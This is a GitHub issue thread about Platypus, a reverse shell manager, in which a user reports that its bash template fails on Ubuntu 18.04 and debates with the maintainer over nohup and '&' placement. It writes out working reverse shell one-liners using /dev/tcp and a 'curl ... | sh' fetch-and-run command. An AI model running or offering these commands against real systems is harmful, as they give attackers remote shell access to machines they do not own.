WangYihang / Platypus

:hammer: A modern multiple reverse shell sessions manager written in go
http://platypus-reverse-shell.vercel.app
GNU Lesser General Public License v3.0
1.52k stars 224 forks source link

bash.tpl can't work on ubuntu 18.04 #82

Open hnz2010 opened 3 years ago

hnz2010 commented 3 years ago

Description

ubuntu 18.04 bash.tpl can't work. Describe your problem here "/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/127.0.0.1/13338 0>&1' >/dev/null &" failed "/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/127.0.0.1/13338 0>&1' >/dev/null " work well "/bin/bash -c '/bin/bash -i >/dev/tcp/127.0.0.1/13338 0>&1' " work well ,but some stdout output.

Reproduce

  1. ./Platypus_linux_amd64
  2. curl http://127.0.0.1:13338/|sh

Expected behavior

2021/09/29 11:22:33 Gathering information from client... 2021/09/29 11:22:35 Fire in the hole: [33368f5d5fa2b0a21bf030af38ea7941] tcp://127.0.0.1:39964 [🐧]

Current behavior

2021/09/29 11:25:24 Gathering information from client... 2021/09/29 11:25:27 Read response timeout from client 2021/09/29 11:25:28 Read response timeout from client 2021/09/29 11:25:28 2021/09/29 11:25:28 [127.0.0.1:39994] OS detection failed, set OS = Unknown 2021/09/29 11:25:28 [127.0.0.1:39994] Unrecognized operating system 2021/09/29 11:25:28 [127.0.0.1:39994] Unsupported OS: Unknown

Screenshots/Terminal log

Environments

WangYihang commented 3 years ago

Thanks for reporting, I will check it out soon. @hnz2010

WangYihang commented 3 years ago

Done, now the reverse shell as a service will work as expected.

hnz2010 commented 3 years ago

Done, now the reverse shell as a service will work as expected.

you MUST NOT change /usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/HOST/PORT 0>&1' >/dev/null & to /usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/HOST/PORT 0>&1 &' >/dev/null , nohup used with &.

hnz2010 commented 3 years ago

Done, now the reverse shell as a service will work as expected.

I think the endline & crash with /bin/bash -i >/dev/tcp/HOST/PORT 0>&1 .